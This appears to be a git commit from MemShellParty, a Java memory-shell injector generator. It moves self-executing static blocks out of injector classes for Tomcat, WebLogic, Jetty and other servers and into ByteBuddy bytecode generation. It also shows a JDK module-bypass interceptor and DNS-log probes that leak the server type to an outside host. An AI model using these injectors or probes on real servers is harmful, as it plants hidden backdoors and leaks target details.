mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
refactor: rm static block for better life
This commit is contained in:
-4
@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ApusicFilterInjector {
|
public class ApusicFilterInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new ApusicFilterInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public ApusicFilterInjector() {
|
public ApusicFilterInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
|||||||
-3
@@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @since 2024/12/27
|
* @since 2024/12/27
|
||||||
*/
|
*/
|
||||||
public class ApusicListenerInjector {
|
public class ApusicListenerInjector {
|
||||||
static {
|
|
||||||
new ApusicListenerInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public ApusicListenerInjector() {
|
public ApusicListenerInjector() {
|
||||||
try {
|
try {
|
||||||
|
|||||||
-4
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ApusicServletInjector {
|
public class ApusicServletInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new ApusicServletInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public ApusicServletInjector() {
|
public ApusicServletInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
|||||||
-4
@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
public class BesFilterInjector {
|
public class BesFilterInjector {
|
||||||
Logger log = Logger.getLogger(BesFilterInjector.class.getName());
|
Logger log = Logger.getLogger(BesFilterInjector.class.getName());
|
||||||
|
|
||||||
static {
|
|
||||||
new BesFilterInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public BesFilterInjector() {
|
public BesFilterInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
|||||||
-7
@@ -6,7 +6,6 @@ import java.io.IOException;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
import java.util.logging.Logger;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
@@ -14,12 +13,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class BesListenerInjector {
|
public class BesListenerInjector {
|
||||||
static {
|
|
||||||
new BesListenerInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
Logger log = Logger.getLogger(BesListenerInjector.class.getName());
|
|
||||||
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
|
|||||||
-4
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class BesValveInjector {
|
public class BesValveInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new BesValveInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public BesValveInjector() {
|
public BesValveInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
|||||||
-4
@@ -22,10 +22,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class GlassFishFilterInjector {
|
public class GlassFishFilterInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new GlassFishFilterInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
}
|
}
|
||||||
|
|||||||
-4
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class GlassFishValveInjector {
|
public class GlassFishValveInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new GlassFishValveInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public GlassFishValveInjector() {
|
public GlassFishValveInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
|||||||
-4
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
public class InforSuiteFilterInjector {
|
public class InforSuiteFilterInjector {
|
||||||
Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName());
|
Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName());
|
||||||
|
|
||||||
static {
|
|
||||||
new InforSuiteFilterInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public InforSuiteFilterInjector() {
|
public InforSuiteFilterInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
|||||||
-4
@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
|
|
||||||
public class JettyFilterInjector {
|
public class JettyFilterInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new JettyFilterInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public JettyFilterInjector() {
|
public JettyFilterInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
|||||||
-4
@@ -20,10 +20,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class JettyListenerInjector {
|
public class JettyListenerInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new JettyListenerInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public JettyListenerInjector() {
|
public JettyListenerInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
|||||||
-4
@@ -15,10 +15,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class JettyServletInjector {
|
public class JettyServletInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new JettyServletInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public JettyServletInjector() {
|
public JettyServletInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
|||||||
-4
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ResinFilterInjector {
|
public class ResinFilterInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new ResinFilterInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public ResinFilterInjector() {
|
public ResinFilterInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
|||||||
-3
@@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class ResinListenerInjector {
|
public class ResinListenerInjector {
|
||||||
static {
|
|
||||||
new ResinListenerInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public ResinListenerInjector() {
|
public ResinListenerInjector() {
|
||||||
try {
|
try {
|
||||||
|
|||||||
-4
@@ -14,10 +14,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ResinServletInjector {
|
public class ResinServletInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new ResinServletInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public ResinServletInjector() {
|
public ResinServletInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
|||||||
-4
@@ -19,10 +19,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class SpringWebFluxHandlerFunctionInjector {
|
public class SpringWebFluxHandlerFunctionInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new SpringWebFluxHandlerFunctionInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
}
|
}
|
||||||
|
|||||||
-4
@@ -22,10 +22,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class SpringWebFluxHandlerMethodInjector {
|
public class SpringWebFluxHandlerMethodInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new SpringWebFluxHandlerMethodInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
}
|
}
|
||||||
|
|||||||
-4
@@ -21,10 +21,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigurer {
|
public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigurer {
|
||||||
|
|
||||||
static {
|
|
||||||
new SpringWebFluxNettyHandlerInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
}
|
}
|
||||||
|
|||||||
-4
@@ -21,10 +21,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class SpringWebFluxWebFilterInjector {
|
public class SpringWebFluxWebFilterInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new SpringWebFluxWebFilterInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
}
|
}
|
||||||
|
|||||||
-4
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class SpringWebMvcControllerHandlerInjector {
|
public class SpringWebMvcControllerHandlerInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new SpringWebMvcControllerHandlerInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
}
|
}
|
||||||
|
|||||||
-4
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class SpringWebMvcInterceptorInjector {
|
public class SpringWebMvcInterceptorInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new SpringWebMvcInterceptorInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
}
|
}
|
||||||
|
|||||||
-4
@@ -22,10 +22,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class TomcatFilterInjector {
|
public class TomcatFilterInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new TomcatFilterInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
}
|
}
|
||||||
|
|||||||
-4
@@ -18,10 +18,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class TomcatListenerInjector {
|
public class TomcatListenerInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new TomcatListenerInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public TomcatListenerInjector() {
|
public TomcatListenerInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
|||||||
-4
@@ -21,10 +21,6 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
private Object rawValve;
|
private Object rawValve;
|
||||||
private Object proxyValve;
|
private Object proxyValve;
|
||||||
|
|
||||||
static {
|
|
||||||
new TomcatProxyValveInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public TomcatProxyValveInjector() {
|
public TomcatProxyValveInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
|||||||
-3
@@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @since 2024/12/15
|
* @since 2024/12/15
|
||||||
*/
|
*/
|
||||||
public class TomcatServletInjector {
|
public class TomcatServletInjector {
|
||||||
static {
|
|
||||||
new TomcatServletInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public TomcatServletInjector() {
|
public TomcatServletInjector() {
|
||||||
try {
|
try {
|
||||||
|
|||||||
-4
@@ -20,10 +20,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class TomcatValveInjector {
|
public class TomcatValveInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new TomcatValveInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public TomcatValveInjector() {
|
public TomcatValveInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
|||||||
-4
@@ -18,10 +18,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class TomcatWebSocketInjector {
|
public class TomcatWebSocketInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new TomcatWebSocketInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public TomcatWebSocketInjector() {
|
public TomcatWebSocketInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
|||||||
-4
@@ -19,10 +19,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
public class TongWebFilterInjector {
|
public class TongWebFilterInjector {
|
||||||
Logger logger = Logger.getLogger(TongWebFilterInjector.class.getName());
|
Logger logger = Logger.getLogger(TongWebFilterInjector.class.getName());
|
||||||
|
|
||||||
static {
|
|
||||||
new TongWebFilterInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
}
|
}
|
||||||
|
|||||||
-4
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class TongWebListenerInjector {
|
public class TongWebListenerInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new TongWebListenerInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public TongWebListenerInjector() {
|
public TongWebListenerInjector() {
|
||||||
try {
|
try {
|
||||||
Set<Object> contexts = getContext();
|
Set<Object> contexts = getContext();
|
||||||
|
|||||||
-4
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class TongWebValveInjector {
|
public class TongWebValveInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new TongWebValveInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public TongWebValveInjector() {
|
public TongWebValveInjector() {
|
||||||
try {
|
try {
|
||||||
Set<Object> contexts = getContext();
|
Set<Object> contexts = getContext();
|
||||||
|
|||||||
-5
@@ -14,11 +14,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class UndertowFilterInjector {
|
public class UndertowFilterInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new UndertowFilterInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public UndertowFilterInjector() {
|
public UndertowFilterInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
|||||||
-3
@@ -16,9 +16,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class UndertowListenerInjector {
|
public class UndertowListenerInjector {
|
||||||
static {
|
|
||||||
new UndertowListenerInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public UndertowListenerInjector() {
|
public UndertowListenerInjector() {
|
||||||
try {
|
try {
|
||||||
|
|||||||
-3
@@ -16,9 +16,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
public class UndertowServletInjector {
|
public class UndertowServletInjector {
|
||||||
static {
|
|
||||||
new UndertowServletInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public UndertowServletInjector() {
|
public UndertowServletInjector() {
|
||||||
try {
|
try {
|
||||||
|
|||||||
-4
@@ -14,10 +14,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class WebLogicFilterInjector {
|
public class WebLogicFilterInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new WebLogicFilterInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
}
|
}
|
||||||
|
|||||||
-4
@@ -25,10 +25,6 @@ public class WebLogicListenerInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
static {
|
|
||||||
new WebLogicListenerInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public WebLogicListenerInjector() {
|
public WebLogicListenerInjector() {
|
||||||
try {
|
try {
|
||||||
Object[] contexts = getContext();
|
Object[] contexts = getContext();
|
||||||
|
|||||||
-5
@@ -18,11 +18,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class WebLogicServletInjector {
|
public class WebLogicServletInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new WebLogicServletInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
}
|
}
|
||||||
|
|||||||
-5
@@ -19,11 +19,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class WebSphereFilterInjector {
|
public class WebSphereFilterInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new WebSphereFilterInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public WebSphereFilterInjector() {
|
public WebSphereFilterInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
|||||||
-4
@@ -22,10 +22,6 @@ public class WebSphereListenerInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
static {
|
|
||||||
new WebSphereListenerInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public WebSphereListenerInjector() {
|
public WebSphereListenerInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
|||||||
-5
@@ -15,11 +15,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
public class WebSphereServletInjector {
|
public class WebSphereServletInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new WebSphereServletInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public WebSphereServletInjector() {
|
public WebSphereServletInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
|
|||||||
-4
@@ -26,10 +26,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @since 2025/1/21
|
* @since 2025/1/21
|
||||||
*/
|
*/
|
||||||
public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel> {
|
public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel> {
|
||||||
static {
|
|
||||||
new XxlJobNettyHandlerInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -9,10 +9,6 @@ import java.net.InetAddress;
|
|||||||
public class DnsLogJdk {
|
public class DnsLogJdk {
|
||||||
public static String host;
|
public static String host;
|
||||||
|
|
||||||
static {
|
|
||||||
new DnsLogJdk();
|
|
||||||
}
|
|
||||||
|
|
||||||
public DnsLogJdk() {
|
public DnsLogJdk() {
|
||||||
String[] jdkInfos = getJdk().split("\\|");
|
String[] jdkInfos = getJdk().split("\\|");
|
||||||
String[] result = new String[]{
|
String[] result = new String[]{
|
||||||
|
|||||||
@@ -9,10 +9,6 @@ import java.net.InetAddress;
|
|||||||
public class DnsLogServer {
|
public class DnsLogServer {
|
||||||
public static String host;
|
public static String host;
|
||||||
|
|
||||||
static {
|
|
||||||
new DnsLogServer();
|
|
||||||
}
|
|
||||||
|
|
||||||
public DnsLogServer() {
|
public DnsLogServer() {
|
||||||
try {
|
try {
|
||||||
InetAddress.getAllByName("serverType." + getServer().toLowerCase() + "." + host);
|
InetAddress.getAllByName("serverType." + getServer().toLowerCase() + "." + host);
|
||||||
|
|||||||
-4
@@ -11,10 +11,6 @@ import java.util.Set;
|
|||||||
*/
|
*/
|
||||||
public class GlassFishWriter {
|
public class GlassFishWriter {
|
||||||
|
|
||||||
static {
|
|
||||||
new GlassFishWriter();
|
|
||||||
}
|
|
||||||
|
|
||||||
public GlassFishWriter() {
|
public GlassFishWriter() {
|
||||||
try {
|
try {
|
||||||
try {
|
try {
|
||||||
|
|||||||
@@ -10,11 +10,6 @@ import java.lang.reflect.Method;
|
|||||||
* @since 2025/8/5
|
* @since 2025/8/5
|
||||||
*/
|
*/
|
||||||
public class JettyWriter {
|
public class JettyWriter {
|
||||||
|
|
||||||
static {
|
|
||||||
new JettyWriter();
|
|
||||||
}
|
|
||||||
|
|
||||||
public JettyWriter() {
|
public JettyWriter() {
|
||||||
try {
|
try {
|
||||||
Thread thread = Thread.currentThread();
|
Thread thread = Thread.currentThread();
|
||||||
|
|||||||
@@ -9,10 +9,6 @@ import java.lang.reflect.Method;
|
|||||||
* @since 2025/8/8
|
* @since 2025/8/8
|
||||||
*/
|
*/
|
||||||
public class ResinWriter {
|
public class ResinWriter {
|
||||||
static {
|
|
||||||
new ResinWriter();
|
|
||||||
}
|
|
||||||
|
|
||||||
public ResinWriter() {
|
public ResinWriter() {
|
||||||
try {
|
try {
|
||||||
ClassLoader loader = Thread.currentThread().getContextClassLoader();
|
ClassLoader loader = Thread.currentThread().getContextClassLoader();
|
||||||
|
|||||||
@@ -7,11 +7,6 @@ import java.util.List;
|
|||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
|
|
||||||
public class TomcatWriter {
|
public class TomcatWriter {
|
||||||
|
|
||||||
static {
|
|
||||||
new TomcatWriter();
|
|
||||||
}
|
|
||||||
|
|
||||||
public TomcatWriter() {
|
public TomcatWriter() {
|
||||||
try {
|
try {
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
|||||||
@@ -7,11 +7,6 @@ import java.util.List;
|
|||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
|
|
||||||
public class TongWebWriter {
|
public class TongWebWriter {
|
||||||
|
|
||||||
static {
|
|
||||||
new TongWebWriter();
|
|
||||||
}
|
|
||||||
|
|
||||||
public TongWebWriter() {
|
public TongWebWriter() {
|
||||||
try {
|
try {
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
|||||||
-5
@@ -10,11 +10,6 @@ import java.lang.reflect.Method;
|
|||||||
* @since 2025/8/8
|
* @since 2025/8/8
|
||||||
*/
|
*/
|
||||||
public class UndertowWriter {
|
public class UndertowWriter {
|
||||||
|
|
||||||
static {
|
|
||||||
new UndertowWriter();
|
|
||||||
}
|
|
||||||
|
|
||||||
public UndertowWriter() {
|
public UndertowWriter() {
|
||||||
try {
|
try {
|
||||||
Thread thread = Thread.currentThread();
|
Thread thread = Thread.currentThread();
|
||||||
|
|||||||
-4
@@ -9,10 +9,6 @@ import java.lang.reflect.Method;
|
|||||||
* @since 2025/8/10
|
* @since 2025/8/10
|
||||||
*/
|
*/
|
||||||
public class WebLogicWriter {
|
public class WebLogicWriter {
|
||||||
static {
|
|
||||||
new WebLogicWriter();
|
|
||||||
}
|
|
||||||
|
|
||||||
public WebLogicWriter() {
|
public WebLogicWriter() {
|
||||||
try {
|
try {
|
||||||
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
||||||
|
|||||||
-3
@@ -11,9 +11,6 @@ import java.lang.reflect.Method;
|
|||||||
* @since 2025/8/10
|
* @since 2025/8/10
|
||||||
*/
|
*/
|
||||||
public class WebSphereWriter {
|
public class WebSphereWriter {
|
||||||
static {
|
|
||||||
new WebSphereWriter();
|
|
||||||
}
|
|
||||||
|
|
||||||
public WebSphereWriter() {
|
public WebSphereWriter() {
|
||||||
try {
|
try {
|
||||||
|
|||||||
+3
-15
@@ -5,7 +5,7 @@ import net.bytebuddy.dynamic.DynamicType;
|
|||||||
|
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer;
|
import static net.bytebuddy.matcher.ElementMatchers.isDefaultConstructor;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* JDK9 引入的 module 系统,只有主动声明 exports 的才能被外部访问。当前用于打破 module 的限制,使我们能像低版本一样任意反射获取方法
|
* JDK9 引入的 module 系统,只有主动声明 exports 的才能被外部访问。当前用于打破 module 的限制,使我们能像低版本一样任意反射获取方法
|
||||||
@@ -33,24 +33,12 @@ public class ByPassJavaModuleInterceptor {
|
|||||||
* Reference1: <a href="https://stackoverflow.com/questions/62664427/can-i-create-a-bytebuddy-instrumented-type-with-a-private-static-final-methodhan">stackoverflow</a>
|
* Reference1: <a href="https://stackoverflow.com/questions/62664427/can-i-create-a-bytebuddy-instrumented-type-with-a-private-static-final-methodhan">stackoverflow</a>
|
||||||
* Reference2: <a href="https://github.com/raphw/byte-buddy/issues/1153">issue</a>
|
* Reference2: <a href="https://github.com/raphw/byte-buddy/issues/1153">issue</a>
|
||||||
* <br>
|
* <br>
|
||||||
* 在静态代码块中执行 byPassJdkModule 代码
|
* 在默认构造方法中执行 byPassJdkModule 代码
|
||||||
* 值得注意的一点,builder 是不可变类型,所以都是需要重新赋值,例如以下代码示例
|
|
||||||
* # code that not work
|
|
||||||
* builder = new Bytebuddy().redefine(class);
|
|
||||||
* builder.visit(something);
|
|
||||||
* builder.make();
|
|
||||||
* <br>
|
|
||||||
* # code that work
|
|
||||||
* <br>
|
|
||||||
* builder = new Bytebuddy().redefine(class);
|
|
||||||
* builder = builder.visit(something);
|
|
||||||
* builder.make();
|
|
||||||
*
|
|
||||||
* @param builder bytebuddy builder
|
* @param builder bytebuddy builder
|
||||||
* @return new builder with bypass
|
* @return new builder with bypass
|
||||||
*/
|
*/
|
||||||
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
|
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
|
||||||
return builder.visit(Advice.to(ByPassJavaModuleInterceptor.class)
|
return builder.visit(Advice.to(ByPassJavaModuleInterceptor.class)
|
||||||
.on(isTypeInitializer()));
|
.on(isDefaultConstructor()));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+46
@@ -0,0 +1,46 @@
|
|||||||
|
package com.reajason.javaweb.buddy;
|
||||||
|
|
||||||
|
import net.bytebuddy.description.method.MethodDescription;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.implementation.Implementation;
|
||||||
|
import net.bytebuddy.implementation.bytecode.ByteCodeAppender;
|
||||||
|
import net.bytebuddy.jar.asm.MethodVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 在静态代码块中添加构造方法调用例如:
|
||||||
|
* static {
|
||||||
|
* new Injector();
|
||||||
|
* }
|
||||||
|
*
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/12
|
||||||
|
*/
|
||||||
|
public class StaticBlockSelfConstructorCall implements ByteCodeAppender {
|
||||||
|
|
||||||
|
public static StaticBlockSelfConstructorCall INSTANCE = new StaticBlockSelfConstructorCall();
|
||||||
|
|
||||||
|
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
|
||||||
|
return builder
|
||||||
|
.invokable(isTypeInitializer())
|
||||||
|
.intercept(new Implementation.Simple(StaticBlockSelfConstructorCall.INSTANCE));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Size apply(MethodVisitor methodVisitor,
|
||||||
|
Implementation.Context implementationContext,
|
||||||
|
MethodDescription instrumentedMethod) {
|
||||||
|
methodVisitor.visitTypeInsn(Opcodes.NEW, implementationContext.getInstrumentedType().getInternalName());
|
||||||
|
methodVisitor.visitInsn(Opcodes.DUP);
|
||||||
|
